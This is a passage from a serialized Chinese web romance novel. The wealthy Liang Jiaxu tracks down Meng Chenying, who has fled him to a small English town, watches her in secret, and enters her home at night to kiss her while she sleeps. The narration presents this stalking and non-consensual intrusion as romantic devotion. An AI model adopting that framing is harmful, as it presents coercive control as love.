梁嘉序在门口换下皮鞋,一头粗硬的黑发软塌塌贴在额前,脸上的水珠从下巴滑落。 王管家震惊又心疼道:“哎哟,怎么就淋着了,没人给你打伞?” 梁嘉序伸手接过他递来的帕子擦脸,眉目冰冷:“这么点儿近路,没事,我上楼洗漱。” 等梁嘉序从二楼下来,晚餐已经摆好,而除了梁承年外,饭桌前还多了一个人。 梁巷明。 “阿序,这段时间回家住了啊?” “我最近去公司,总听说你时常飞去别的国家出差,总是全世界到处飞,这样不会辛苦吗?” 梁巷明颇为关切问。 梁嘉序拉开座椅,落座后,才像施舍似的,讥笑地看梁巷明:“三叔出院后日子过得挺好?” 梁巷明牙根一紧,勉强挤出笑容:“叔都出院一年了,这一年也没什么机会跟侄子见面,你也不晓得关心关心三叔。” 梁嘉序凉凉地勾唇:“这不是侄子太关心三叔了,又想把三叔送进医院。” 梁巷明脸色一僵:“你……” 再对上他凉薄冷漠的眼神,梁巷明后背骤凉。 这一年半他都很少见梁嘉序,没想到这小子变得比以前还要可怕了。 他转过身,看向主座的梁承年:“大哥,你也管管阿序,一点儿都不懂得尊重长辈。” 上次把他打到住院,还害他休养了大半年,这仇他还没忘! 梁承年坦然自若道:“你也知道是小辈,这么大把年纪了还跟个小辈斤斤计较?” 梁巷明气得攥紧拳头,他就知道这父子俩串通一气! “老爷子听说阿序为了个女人成天全世界到处飞的事了,托我来带一句话,白家那位千金很不错,白世刚最近高升,他女儿无论家世相貌和学历,都最适合阿序。” 梁嘉序阴恻恻地一笑,没说什么,只慢条斯理用刀叉切面前的牛排。 梁承年抬眸,语气冷淡:“长幼有序,阿明,你身为长辈,该先给阿序找个婶娘再说。” 梁巷明丢下刀叉,皱眉道:“阿序可是你亲儿子,你就这一个儿子,爸也就这一个孙子,跟我能一样吗?他的人生大事可比我重要多了。我今晚过来就是为了说这事儿,别不爱听,老爷子那边的态度很强硬,看不得阿序自甘堕落。” 谁堕落了,梁嘉序嗤笑一声。 这笑声让他心里一紧,梁巷明饭都吃不下去了,本来他就怕这父子俩,唯一能给他撑腰的老爷子还在国外。 加上现在外面还下着大暴雨。 雷雨交加的夜晚,格外阴森恐怖。 他还真怕这父子俩,趁着这鬼天气把他给做了。 到时候他没得神不知鬼不觉。 这事越想越觉得可怕,梁巷明认怂道:“我就是个传话的,我没别的意思啊,阿序有自己的主意,叔也赞同,叔是支持阿序的。” 说完,拔腿溜了。 用过饭,梁嘉序擦拭唇瓣,淡声:“我先回屋了。” 梁承年喊住他。 “阿序,你妈那犟脾气你是斗不赢她的,不如找她低头,让她对你心软后说不定她就把小孟在哪的消息透露给你了。说到底,她还是疼爱你的。” 梁嘉序站在台阶第三层。 背影挺括,晦暗。 他头也没回,语气冷淡:“爸,我可不是你,你任何时候都可以对我妈低头,我做不到。” “人,我会靠自己能力找到。” “找不到呢?” 梁承年很遗憾地提醒他:“你妈要真想藏一个人,你没那么容易能找到。” 梁嘉序眼尾微挑,锐利张扬:“不会找不到。” 他笃定。 他不会输给任何人。 第54章 第 54 章 继续抢 清脆悦耳的风铃声泠泠响起, 孟尘萦正在给顾客做咖啡,听到动静抬头朝门口望去。 章之窈牵着爱丽丝和尼克来店里找她。 “你们来啦?” 孟尘萦把做好的咖啡端到坐在窗边的那位安静的客人桌前,再转弯去迎接母子三人。 章之窈笑说:“下午没什么事做, 趁天气好带孩子上街溜达溜达,结果转着转着,爱丽丝他们就闹着说想找夏夏姐姐玩。” 孟尘萦简直要被这两位活泼的萌娃可爱到心都化了, 笑着弯腰问他们:“爱丽丝和尼克想吃点儿什么呀?可以随便挑哦。” 两个小家伙也自觉地凑到柜前挑选。 随后,各自端着自己的小蛋糕乖巧坐在原位, 趁现在也没客人,孟尘萦给章之窈煮了杯咖啡, 两人面对面坐着聊天。 约莫呆了一个小时, 章之窈就牵着孩子回去了。 下午总有些零零散散的顾客来吃甜品和喝咖啡。 到六点左右,沈晚心闹着说肚子饿, 想去街上买点儿吃的,还问孟尘萦要吃点什么。 “我都可以, 你吃什么我就吃什么, 正好晚上回去也不想做饭了。” “那我就按照我想买的给你带一份啦。” 丢下这句话, 沈晚心便推门出去了。 冬季的晚上风呼呼吹,沈晚心出去时, 外面蓦然刮起一阵寒风, 孟尘萦忽然看到外边的一盆花被风吹倒了, 便推开大门出去。 她将花盆扶了起来,整理好凌乱的叶子,正要返回店内时—— 眼角余光似乎看到一道黑影。 孟尘萦并没有及时回头。 她假装站在原地整理花盆,约莫几十秒后,才装作不经意地转过身子。 可身后的巷子仍是黑漆漆一片,瞧着不像是有人。 大抵是她独居后, 开始疑神疑鬼的原因?这个月她总是觉得身后好像有影子在跟着她似的。 她有点不放心。 害怕的同时,脑子里不可控制闪现自己看的电影里那些惊悚画面。 她还在犹豫,要不要上前去一探究竟。 但就在她站在原地踌躇的时候,一只流浪猫从角落钻了出来。 这只流浪奶牛猫最近时常在这巷子里溜达,被附近的居民养得黑黑胖胖,瞧那样子便又是来讨猫粮的。 店里也有专门给流浪猫准备的猫条。 孟尘萦回店里拿了一条出来,蹲下喂猫。 这只猫她喂了有半年多,都已经熟悉了。 猫猫奋力吃东西的画面,总是让她会想起自己的三只猫。 分开都一年半了,她的三只猫猫也不知道现在是还留在璟兰园呢,还是梁嘉序嫌它们烦,把它们随便丢给谁养了呢? 他应该也懒得把猫丢给旁人吧。 璟兰园有佣人每天照顾猫猫,也不需要他付出时间和精力。 但是倘若…… 他交往了新的女朋友,那女孩不喜欢她的猫呢? 他会不会为了哄新女朋友,就把她的猫给丢了啊? 不行,她不能想这事儿,越想越担心三只猫。 流浪猫也吃完了猫条,孟尘萦撸了它一会就放它走了。 她起身回店,没多久,沈晚心带着晚饭回到店里。 两人简单在店内吃了晚饭,到打烊时间,再结伴离开。 刚回到家没多久,孟尘萦就接到陈寰柏的电话。 “我在你家门口,开下门。” 孟尘萦闻声打开门,门外陈寰柏一身御寒的大衣,内搭的连帽衫盖在头顶遮风,笑容爽朗:“方便在院子里聊聊?” 夜色渐浓,寒意渗骨,孟尘萦端着煮好的一盅热茶出来。 陈寰柏起身接过那盅茶,“别忙活了,坐吧,我过来就是想跟你说几句话。” “嗯,你说。”她低头给他倒茶。 陈寰柏开门见山道:“姑姑那边要我问你,考不考虑以真实的身份出来生活。” 孟尘萦面露讶异:“是陈阿姨提的?” 陈寰柏喝了一口热乎乎的茶,笑道:“嗯,我白天去姑姑家蹭饭,她和姑父都问起你的现状,毕竟他们不能来见你嘛,我就把你的情况都说了,姑父知道你生活的很自由快乐就放心,晚点姑姑就跟我说,你都出来一年半了,总是用假身份生活觉得很委屈你,心疼你在最明媚灿烂的年纪里,竟然要一直困在这种小地方。” 孟尘萦手指扣着茶壶的柄,“陈阿姨会这样说,是不是……” 陈寰柏不清楚她的经历,只负责传话:“姑姑跟我说,时间过去一年半了,你也没有被找到,应该是没事了。” “我不知道你在躲谁,但都躲了一年半,那人也没找来,我猜多半是放弃了。” “放弃了?”孟尘萦问他:“你为什么这么觉得?” 陈寰柏:“老实跟你说吧,我从姑姑那旁敲侧击,加上自己的猜测,我想,找你的人应该是你的男朋友?虽然不知道你男朋友是谁,但我身为男人,老实告诉你,没有一个男人会为了一个费尽心思逃离他的人,耗去时间和精力寻找,一年半的时间,能改变很多。” “或许那人已经不喜欢你了,他也有了另外喜欢的对象,他也许早就展开了新的生活,你为了一个根本不可能再来找你的人,这样躲藏在小镇子里属实是委屈了自己。” 孟尘萦垂眸,轻声:“你说的情况,我还是得考虑一下。” 她的确不清楚梁嘉序的现状。 或许像她晚上猜测的,或许像陈寰柏所说的,梁嘉序已经有了一个新的开始。 毕竟一年半的时间,真的不算很短。 她跟梁嘉序,满打满算在一起也就半年时间而已。 真的会有人为了半年的感情,而付出那些时间精力吗? 她也不信。 她的确是不信的,其他人就算了,可那人是梁嘉序啊。 他跟寻常男人不一样,她没办法用那些寻常标准去判断他。 孟尘萦深思熟虑后,还是摇头,“陈阿姨的提议还是暂时算了吧,我想再等一年再说。” 陈寰柏指腹摩挲着杯沿:“看你这样子,你很了解你那个男朋友?” 孟尘萦浅笑着回答:“算是吧。” 陈寰柏又问:“你不喜欢他吧?” “你怎么知道?” “喜欢的话,你干嘛要跑?肯定是缠着也要留在他身边。” 孟尘萦没再接话,垂眸不知在想什么。 陈寰柏站起身,又把连帽衫带上,以为他要走了,孟尘萦也起来要送他。 谁知他忽然上前几步,在她面前一步距离驻足。 孟尘萦愣住,眨了眨眼。 陈寰柏眉眼弯弯带笑,眼睛也亮晶晶:“孟尘萦,你不喜欢他,我就放心了。”- 京市。 陈寰柏刚下飞机,就接到了好友方阳电话。 “在门口等你呢,快出来。” 陈寰柏走出机场大厅,外边停着一辆跑车。 车窗降下,方阳摘掉墨镜朝他招手。 坐进副驾驶,陈寰柏没忍住吐槽他:“来接我还坐在车里不出来,半点诚意都没。” 方阳手肘搭车窗边,晃着手里墨镜骂道:“老子来接你就不错了,本来就有个局忙得很,这不儿,知道你回来了,我都把那些人撂下来机场接你,你可知足吧。” 两人是发小,说话也很随性没轻没重的,陈寰柏懒散地往椅背一靠:“赶快把我送回家,你就继续浪去,我可不管。” “你去不?” “不去。刚回国,还想倒一下时差。” “倒什么时差啊,经常出国的人,去玩玩吧,是谭延晋组的局,人多着呢,好多人都想目睹咱们陈二公子的英姿。” 陈寰柏打了个哈欠,敷衍道:“开车吧,话这么多。” 方阳还在怂恿。 “说了,不去,很没意思,一天到晚浪来浪去,你们这种人活着就是浪费地球的空气,成天不找点正事做。” “喲,陈二公子怎么在国外定居了两年,倒是性子大变啊,你之前不最喜欢这种聚会,还说人多热闹让你觉得自己还活着呢?” 陈寰柏没理他,低头在包里翻翻捡捡,方阳啧了声:“还不理人,嘛呢?” 他眼神瞅过去,发现陈寰柏包里有一袋很精致的包装,像是女孩的玩意。 他伸手一夺,拿出来,拆开看。 奶香味也飘了出来。 “曲奇饼干?” 方阳吃惊道:“你没事吧,回国还带零嘴啊?” 陈寰柏神色微变。 这是他昨天去店里时,看到孟尘萦刚新鲜烤出来的曲奇饼干,他趁她没注意,自个儿偷偷装了一袋,想着下飞机了再吃的。 “拿来!” 方阳挑眉:“这么激动,哪个姑娘送给你的?” 陈寰柏呵呵一笑,挑眉:“问这么多干嘛,吃醋了啊?” 方阳呸了声:“这不是想着,你要是脱单了,不少姑娘要伤心死了嘛?” 陈寰柏把那袋饼干抢了回来,跟宝贝似的塞进包里:“没脱单,但的确是一姑娘烤的饼干。” “给我尝尝呗,我正好因为来接你没吃东西,现在饿得不行。” 陈寰柏把那袋饼干当命根子护着,“不!” “绝对不给你,你就是饿死了也不能吃我的饼干。” “什么兄弟啊?兄弟我都要饿死了也不舍不得给块饼干?”方阳本来就随口说说,又见他这幅紧张的样子,弄得心里愈发痒痒。 但陈寰柏把饼干护得太紧,也抢不过来,只能暂时作罢。 车子启程,因为要送陈寰柏回陈家,方阳只能暂时放下自己那个聚会的事。 行驶半个小时,陈寰柏在车上睡着了,方阳兴致缺缺看前方的路,鼻息间忽然又被袋曲奇饼干的香味引诱。 越不给他吃,他越想吃。 他倒是想尝尝,什么饼干让陈寰柏这么宝贝。 他悄悄伸出魔鬼之爪,小心谨慎把那袋曲奇饼干从包里取出来,单手拆开吃了一块。 哟,他忍不住在心里吹了一声口哨。 饼干是挺好吃,但也不至于让他们这种从小吃惯山珍海味的人把这饼干当一回事吧? 他撇撇嘴,随手把那袋饼干放在自己腿边。 时不时吃几块解解馋。 半个小时后把陈寰柏送到了家,方阳就立刻转了个方向去了玖月湾。 谭延晋的地盘。 ………… 方阳推门而入。 “哟,方大少,聚会一半突然撂摊子走人,什么意思啊?泡妞去了?” 方阳:“泡你的妞呗,咋还这么八卦呢,老子接人去了。” “哦原来是当司机去了啊,那还不如泡妞。” “给老子掌嘴!”他扑过去箍住那人的脖子,两人闹着打了一番,方阳浑身是汗,把外套一脱,正要放下,忽然感觉沉甸甸的。 他一摸口袋才发现,从陈寰柏那偷来的饼干忘了还,他干脆还捅口袋里了。 算了,一袋饼干而已。 他把那饼干拿出来,随手丢桌上,深怕油渍污了衣服。 最中间的卡座。 谭延晋单手怀着美艳妩媚的女人,嘴里咬着烟,另一只手在打电话。 见他一脸糟心的模样,怀里的女人娇娇地问:“跟谁打电话啊?要是女人的话,我可是会吃醋的噢。” 谭延晋挑唇,目光轻瞥她艳丽的眉眼,微眯眼眸:“男人的醋你也吃?别闹,我一会就把梁公子喊来,让场子再热闹点儿。” “梁公子啊?”女人眼睛铮亮,兴奋道:“你可以把他喊来吗?” “我可听说了,这两年梁公子基本不很少来这种局了,神秘得很呢!” 谭延晋不以为意地啧道:“那是其他人的面子他不给,我是谁啊?我可是从小跟梁嘉序穿一条裤子的关系。” 女人吹捧道:“谭少好厉害啊,能把梁公子喊来就好了,早就听好多人说他可帅了,我还没什么机会见过呢。” 谭延晋用力戳她鼻尖,一脸不爽:“花痴,我不帅?在我怀里还想别的男人。” 女人扑上去圈住他腰:“你好喜欢吃醋啊,好嘛好嘛,你最帅,我最喜欢你了。” 随后献上一个香吻,表明态度。 谭延晋勾着唇笑,却笑意不达眼底,对女人的表白也觉得麻麻的,无动于衷,仿佛刚才深情的吃醋,不过就是逢场作戏。 电话挂断,谭延晋道:“喊来了,他正好也想喝酒。” 他招呼人准备多点儿烈酒,扫了屋内的热闹,对屋子里各式各样的女人很满意。 约莫二十分钟左右,梁嘉序到场。 包厢门被的一刹那。 人还没进来,更先响起骚动的是其他人。 男人模样倦怠,半耷着薄薄的眼皮,眼底凉薄漠然,神色冷峻,也不掩那股天然的矜贵傲气。 过分优秀的五官,在映入眼帘的那一刻,让人都不禁倒吸一口凉气。 梁嘉序大步行来,一扫热闹的场面,径直朝谭延晋那靠近,坐下:“什么情况,这么多人?” 谭延晋给他发了支烟,笑道:“聚会嘛,人多才有意思。” 他眼神示意一旁几个女人给梁嘉序倒酒。 梁嘉序单手解开几颗纽扣,露出冷白锁骨,挺括的肩膀微挪,往前一倾取了瓶最烈的酒,自个儿打开。 全程视身旁几个女人若无物。 劲爆的乐曲震耳欲聋,谭延晋眼底那点探索瞬间散去,很不理解地问:“序啊,还没忘记呢?” 谭延晋手肘搭他肩膀上,“这都一年半了。” 这合理吗?一年半时间还在找一个不可能回来的女人。 梁嘉序喉结滚动,勾起湿润的唇:“喊我来是为了这事儿?我看你是真闲到没事做。” 谭延晋:“那是,没您忙,找个女人满世界飞。” “怎么着,你之前想过没,人这一跑,还真找不着了?” 梁嘉序黑眸微闪,望着酒杯里的粼粼酒水,唇角展开一丝冷笑。 他沉默不语,谭延晋便碎碎念道:“一年半的时间,你想啊,假如啊,我说假如你找到她了,发现她有了新的男朋友,或者更夸张点儿,她在国外跟别人结婚了,你怎么办?” 一年半的时间,会发生很多很多事。 梁嘉序把自己的时间都用在找人方面,他的世界的确没什么改变,但不代表孟尘萦那边也一成不变。 “你在等她,但她费尽心思跑了,是不会等你。” “指不定人已经有了新对象,还是她喜欢的那种对象。” 梁嘉序淡声:“没想过这事。” 在他眼里,孟尘萦生是他的人,死也只能是他的鬼。 谭延晋还是不适应自己发小为了个女人把自己变成这幅模样。 再次肯定道:“她肯定结婚了,没结婚也有男朋友。” 梁嘉序仍是面无表情:“是吗?” “就算真有,不过就是继续抢来而已。” 他神色逐渐凉薄:“不是问题。” 谭延晋被惊到张大嘴。 这时,梁嘉序放下酒杯,开始刷手机。 谭延晋瞥了眼,发现他在翻相册。 画面定格的是女孩儿坐在旋转木马的照片。 谭延晋彻底被折服,长叹一口气,自己弯腰,又给他倒酒。 酒瓶旁边有一袋被拆开的曲奇饼干,谭延晋皱眉提了起来,“什么玩意,这种东西怎么出现在这儿?” 梁嘉序微醺的眸缓缓扫来,瞥了眼,寡冷的神色忽地定住。 他想起来,她也很喜欢烤饼干。 在璟兰园的时候,她经常烤很多,自己不吃,基本分给佣人。 谭延晋拆开取出来一块饼干,眉蹙得更紧了。 他正要把这袋饼干丢掉时—— 梁嘉序捉住他手腕。 谭延晋惊讶:“干嘛?” 梁嘉序不语,夺过那袋饼干,随后取出一块,细细端详了片刻,再送进嘴里。 谭延晋面色古怪:“你就饿成这样了?” 饼干在送进嘴里的那一刻,梁嘉序平缓的眉,缓缓拧了起来。 黑眸瞬间掀起细微的波澜。 手中的那块饼干,被咬得缺了一口。 他垂眸静静看着。 背脊紧绷,呼吸逐渐粗沉。 “阿序?”谭延晋喊他。 梁嘉序侧眸扫来:“这谁带来的?” 声音冰冷骇人,阴森到极致。 谭延晋一愣,“不知道啊,等会儿,我帮你问问。” …… 方阳咽了咽口水,面对梁嘉序冰冷的眼神,也没敢多问,把自己怎么有的这袋曲奇饼干的经过都交代了出来。 梁嘉序走到窗边,拨了一通电话。 “查查陈寰柏的行踪。” “立刻,不要拖延。” 他不可能会记错,这就是孟尘萦烤的饼干的味道。 回想起刚才方阳说的话。 陈寰柏很珍惜这袋饼干。 倘若这真的是孟尘萦,她是怎么跟陈寰柏在一起的? 还是说,她这一年多都在跟别的男人同居。 这一年多的时间,他无时无刻不在思念她,寻找她,她在哪儿躲着,为什么会跟陈寰柏这般亲密。 他心中的暴戾不断升起。 想要压住那股郁结,但只要想起她跟别的男人有半点瓜葛,还是难以做到平静。 手里的那袋饼干,不知觉在手心里攥成粉碎。 第55章 第 55 章 “孟尘萦,回忆我的味道…… 陈寰柏这两年住在英国, 就连他最好的朋友都不知道他在英国的哪个城市定居。 他没告诉任何人,说是喜欢安逸的生活,不想要身边的人去打扰他。 当助理查到陈寰柏在英国所在地的同时。 又有人来了消息。 有人在英国的一个小镇子里, 见到了孟尘萦的行踪。 两人的位置同是——维利斯特小镇。 梁嘉序来到维利斯特小镇已经是两天后。 – 寒意凛凛,路边的水洼结了一层薄薄的冰。 孟尘萦天蒙蒙亮就来店里开门营业,她昨晚又陪沈晚心去了那家清吧喝酒, 但她酒量不行,就没多喝, 谁知只喝了点儿酒竟是失眠了。 早上六点她就无比清醒。 在家里简单弄了一顿早饭,她闲着没事, 干脆提前来店里开门。 沈晚心是九点来的, 换了工作服她就开始商量晚上再去喝酒的事。 孟尘萦听到酒,小脸都皱巴巴拧了起来, 这次明确拒绝:“不喝了,我昨晚喝了酒有点失眠。” “失眠?”沈晚心坐在窗边托着下巴嘀咕道:“还有人喝酒会失眠啊?该不会是有心事吧?那这可跟我们无辜的酒没有半点关系啊。” “哪能啊, ”孟尘萦百无聊赖坐在柜台前, 望着橱窗里的那一叠叠精致的小蛋糕, 莫名觉得困意有点来袭。 声音很轻地说:“我没什么心事了。” 她是真没有心事了。 这一年半,她在维利斯特过得非常快乐又自在, 除了偶尔会想起自己的三只猫之外, 什么烦恼都没有。 她能有什么心事呢? 这就是她一直梦寐以求, 平淡无趣的人生啊。 两人谈话间。 门口的风铃也响了。 沈晚心即刻站起来迎接顾客。 孟尘萦也朝门前望过去,这次进来的顾客穿着一身黑色大衣。 她那刻平静了许久的心,又再一次因为身高相近,穿黑色衣服的男人起了细微的波澜。 意识到又一次认错了人,孟尘萦忍不住暗暗骂自己几句。 她大概真是被梁嘉序弄出心理阴影来了,见不得有个子高的男人穿黑色, 老是会让她害怕他会找过来。 想来也不可能。 这个镇子不出名,是国外诸多小镇里最不起眼的一个。 他不可能找到她。 午间休息,吃过了午饭,沈晚心在外面拿了一张宣传单进来。 “夏夏,那家甜品店后天要办比赛了。” 孟尘萦问:“大胃王比赛么?陈寰柏回国了,好像下周才能回来,这活动估计他没办法来得及参加。” 沈晚心听得嘎嘎乐:“你怎么知道啊?” “一年半之前就举办了一次比赛,你猜谁拿了冠军?” “谁啊?” 孟尘萦:“陈寰柏。” “啊?”沈晚心吃惊道:“他那么瘦,能在这种比赛拿第一名?” “他拿第一就为了人家三个月店内吃到爽的免费券。” 沈晚心认真瞅了眼宣传单,“那不巧了,这次奖品没有免费券。” 孟尘萦没忍住笑出声:“大概那老板在防他呢。” “他可真有趣。”沈晚心歪着身躯靠在工作台边,挑眉道:“怎样,你俩有机会发展发展么?” 孟尘萦敛眸:“没,别问了,我就是个打工的而已。” 沈晚心:“可我觉得陈老板挺喜欢你的,他虽然有点儿神经兮兮的,但对你格外看重,这家店交给你都完全不过问了。” 孟尘萦没多说她和陈寰柏的关系。 他会照顾她,只是看在陈若卿的面子上而已。 “他把店交给我,纯粹是懒。” 陈寰柏来维利斯特就是混日子,这个小镇很安逸,非常符合他的要求,开甜品店也是他自己馋,他喜欢吃甜食,但又受不了老外的甜食,开店本来打算自己研究出喜欢的蛋糕,后来发现做甜品太累了,干脆请了员工。 沈晚心也没打算做个讨人嫌的媒婆,看出孟尘萦确实对陈寰柏没心思也没多问了:“这个比赛可真有意思,我也想参加,第一名可是有一千英镑呢。” 她得多攒点儿钱,找到她那个流浪鬼爸爸后,再回国。 孟尘萦很支持她,“不过你最好乔装打扮一下。” 沈晚心比了个ok。 到了晚上,两人一齐收工从店里出来。 孟尘萦正在锁门,沈晚心冷得在旁跺脚:“英国的冬天可真冷,这该死的冬天怎么还没过去啊?” 锁好门,孟尘萦整了整头上的毛线帽,露出半张莹白的小脸。 沈晚心笑着挽住她。 两人正要结伴回家时,沈挽心忽然接到一通电话。 电话挂断后,她脸上笑容褪去。 孟尘萦问她发生了什么事,她说:“我找的私家侦探说在阿贝洛镇看到我爸爸的行踪了。” “阿贝洛镇不就在这儿附近吗?” “对,所以我现在想过去一趟。” 孟尘萦担忧道:“现在是晚上,你现在过去很不安全,还是别去了。” “不行,我找了他这么久,难得有了一点消息我怎么能就这样放过。” 孟尘萦看了眼腕表,晚上八点,不算特别晚,见沈晚心没打算改变主意,又道:“那我陪你一起去,你一个人去太危险了。” 沈晚心激动到抱着孟尘萦亲了一口:“夏夏你真好!” 孟尘萦揉了揉脸颊,轻轻一笑:“行了,别耽搁了,早去早回。” 沈晚心回家去取了单车,两人骑着车子晚上赶去阿贝洛小镇。 夜里的镇子,路上没几个人。 孟尘萦坐在后面,搂住沈晚心的腰,脸颊被冷风吹得微白。 直到骑了一段距离,她隐约觉得有点不对劲,回头往后看,远远看到了一辆黑色的车子。 因距离太远了,她看不清楚是什么车。 但她总觉得,这辆车子似乎是她们从店里出来后,就一直跟着的。 目前沈晚心在心里在牵挂自己父亲的事,她也不好说让她停车,只能硬着头皮僵持下去。 半小时后抵达阿贝洛小镇。 沈晚心跟那名私家侦探会面,那人把她们带到一条专门是流浪汉栖息的巷子,“你找找,看看里面有没有你爸爸。” 一条黑到深不见底的小巷,站在外边能明显看到里面似乎有十几个流浪汉。 恶臭味隐约飘了出来。 孟尘萦站在沈晚心身侧,捉住她手腕,小声用中文说:“真的很危险,你别过去了。” 沈晚心害怕地咽了咽口水,手在细微发抖,望着前面那条巷子,犹豫后还是下定决心。 “夏夏,这是第一次得到我爸爸的行踪,他或许在我面前 ,我不想放弃。” “可是……” 那些流浪汉的眼神真的好恐怖,进去了那个巷子里,还能安全回来吗? 孟尘萦不想她涉险,紧紧拉住她衣袖,不准她过去。 沈晚心也同样在犹豫。 就在这时,里边的几个流浪汉看到巷子路口那站着的两个青春靓丽的女孩,眼睛冒着绿光不管不顾冲了出来。 那私家侦探被这场面吓到,拔腿跑了。 孟尘萦见状拉着沈晚心往外面冲。 只见这时,外面几个躲在阴暗角落的流浪汉从另一头蹿出来,拦住她们去路。 沈晚心被这场面吓得脸色刷白,连话都不会说了。她紧了紧拳头,仗着过高的身量把孟尘萦挡住。 沈晚心小声问:“怎么办……” 孟尘萦手指微抖,从包里掏出防狼喷雾。 “晚心,一会儿咱俩冲出去,你的自行车应该就在外边停着吧?” “嗯。” 孟尘萦还准备说后面的计划。 这时。 “啊——” 沈晚心身后忽然伸出一只污脏的手按住她肩膀,她吓得尖叫一声。 孟尘萦连忙搂住她,闭了闭眼,用力拽着沈晚心要冲出去。 在无比惊险的时候,从外面涌进来几名个子高挑挺拔的黑衣人,三两下把那几个流浪汉打趴按在原地。 孟尘萦和沈晚心紧紧相拥,都发着抖,等回过神时,那群流浪汉已经跑的跑,趴的趴。 被按在地上,惨叫连连。 孟尘萦先反应过来,摇醒沈晚心。 沈晚心惊喜道:“夏夏,我们得救了!” 几名黑衣人制住那些流浪汉,沈晚心拉孟尘萦过去,本打算用外语交流道谢,却发现这几个黑衣人都是中国人的面孔,心里头更像是有了靠山似的。 她疯狂弯腰鞠躬:“帅哥,谢谢你们啊。” 黑衣人面色冰冷,看也没看二人:“夜路危险,还不回去。” 孟尘萦蹙了蹙眉,还欲问些什么,沈晚心已经急急忙忙把她拽走了。 “夏夏我们快跑,这太危险了!” 骑上单车,沈晚心脚底都要抡冒烟了,一鼓作气带着孟尘萦离开这个是非之地。 等回到维利斯特,两人才从刚才惊险的场面中真正找回被吓到要飘走的魂,捂紧小心脏。 “吓死我了,我发誓以后再也不干这种蠢事!”沈晚心后怕道。 见孟尘萦仍是一脸古怪的沉默,她伸手在她眼前晃了晃,“夏夏,你怎么了啊?” 孟尘萦恍惚回神:"没,我只是在想,那种地方怎么会有几个中国保镖呢?" 这实在是奇怪得很。 一个平平无奇的小镇,还是小镇子里这样幽深的巷子,竟然会凭空冒出几个中国保镖出来,这可能吗? 沈晚心反而没多想,不以为意道:“管他呢,咱们得救了就行,而且你不知道吗?咱中国人就是世界各地都有啊,在哪里见到中国人都不用觉得奇怪。” 见孟尘萦还在想那件古怪的事,沈晚心劝慰道:“好啦,赶紧回家去洗个热水澡,平复一下心情,夏夏,咱们也算过命的交情了,以后你有什么难事一定要找我啊。” 孟尘萦笑着点头。 沈晚心把她亲自送回家后再自己走了。 目送沈晚心离开,她转身回去。 站在门口,她从包里掏出钥匙,却没有第一时间打开门,而是迟疑着转过身,再推开院子的大门,看路边有没有奇怪的现象。 住宅区这边无比安静,路边都未曾停私家车。 她站在门口等了有两分钟,也没有发现诡异之处,又实在受不了寒风,便赶紧回屋了。 在孟尘萦回家没多久,转角处缓缓驶来一辆黑色轿车。 后座车窗降下,露出一张冷峻的面容。 梁嘉序淡声:“附近居民都查过了吗?” 司机回话道:“都是良民,邻居住的一家四口,女主人是中国人,跟孟小姐关系很好。” 梁嘉序嗯了声。 车内又陷入了沉默。 梁嘉序来到维利斯特已经五天了。 他没急着去找人。 只是每天在她家附近,在她工作的地方看她。 能看到孟尘萦就行了。 突然出现把人吓坏了可不好。 他这次要无比耐心地潜伏,确认她再无法从他眼皮子底下逃跑。 这一年半他都等了过来,也不差这几天。 只是,他到底还是低估自己对她的思念。 这五天里,有无数个瞬间他都想出去,将她拥入怀里,再次把她强行从这里带走,回到他的世界当中。 可每当生出这样的念头,梁嘉序又很快会让自己歇下这样的心思。 他的女孩,骨头实在是硬得很。 再来这一招,不过就是仙河镇第二个结局。 他自认为还可以用同样的手段把孟尘萦带回去,他也可以确定,这次江静娴再也没办法插手分开他们了。 他不在意任何人,但真正见到孟尘萦后。 他的心境还是变了。 在他心里,她总是不一样的。 初到维利斯特的当天,他亲眼看到她从这栋小房子出来,她欢快地走在这条安静的小路上,时不时跟路边的居民打招呼时露出的笑容,他又亲眼看到她在做着自己喜欢的工作时的轻松自在。 他这才明白。 那对他无比吝啬的笑容,原来还可以这样恣意地绽放。 现在的孟尘萦,就是一只快乐自在的小蝴蝶。 她在自己的花园里欢快地起舞。 他多想再把她捉回去。 捉回他的花房,只在他一个人面前起舞。 只属于他。 那栋房子的灯,熄灭了。 人应该是睡了。 半个小时后,梁嘉序睁眼,淡声:“钥匙拿来。” 司机从中控台取过钥匙,递给他。 后车座打开,男人阔步下车,往那栋小房子走去。 “咔嚓一声。” 房门轻轻打开。 梁嘉序熟练地进入屋内,脚步放轻。 这五天,他每天晚上都会进来看她。 这栋房子被孟尘萦收拾得很温馨。 屋内的客厅摆了一张淡色系的地毯,窗台上有了盆修剪很好的绿植,墙上还贴了几副画。 整体的色调很春天阳光,沙发是淡绿色,上头有几个柔软的抱枕,茶几上放了好几本烘焙书。 厨房大多都是她烘焙需要用的工具。 还有许多糕点需要的道具。 她把自己的小房子收拾得井井有条。 让每一个进到她屋子的人,都能感受到,这个女孩真的在用心生活。 推开卧室门,角落里摆了张单人床。 梁嘉序缓步走到床前。 床上的女孩睡相乖巧,睡姿却很特别,双膝往上拱,是保护自己的睡姿。 一年半了,她的习惯还是没改变。 梁嘉序坐在床沿,长指轻轻滑过她的脸颊。 触碰她肌肤的那一刻,他才能感觉到自己的血液是沸腾的。 他是活的。 他像是站在悬崖边随时要坠落的人,总算找到了让他拼命求生的存在。 孟尘萦没有朝他丢下救命的绳索。 是他,拼了命的,想要朝她靠近。 她从来都是他的命蛊。 孟尘萦气息很轻缓,睡得很熟。 梁嘉序垂眸睨她,用眼神勾勒她的脸庞。 一分一秒都不舍放开。 孟尘萦忽地嘤咛一声,不知梦到了什么,细眉微微一蹙。 梁嘉序靠近,吻住她的呼吸。 他粗沉的气息也洒落至她的脸颊。 女孩却忽然换了个睡姿,改平躺着,右手手腕也从被子里露出来。 软弱无力垂在床沿。 梁嘉序伸手轻轻拢住那圈手腕,没敢用力,担心留下痕迹。 雪白的肌肤在诱着他。 他眸色黑沉。 薄唇轻轻印了下去,吻住她腕骨那,最薄的那片肌肤。 他一颤一颤的轻息,在她肌肤那盘旋。 卧室的窗帘并不遮光。 月色透过单薄的窗帘投入室内,照亮男人面容。容颜仍是冷峻,此刻这张冷到毫无人性的脸,一点点被染上近乎痴狂的病色。 他上瘾了似的,将自己的气息轻轻种上她的身体。 又担心留下痕迹,很快松开,再将她手腕塞进被窝里。 月亮渐移,隐匿进云层。 凌晨四点。 梁嘉序俯脸,薄唇靠近她柔软的唇瓣,她唇瓣微启,几乎要碰上时,他停了下来,没再进行下一步。 只是将他的呼吸一点点渡进去。 “回忆我的味道。” “孟尘萦,明晚见。” 第56章 第 56 章 “真的,好想你。”…… 阳光透过窗帘洒入室内, 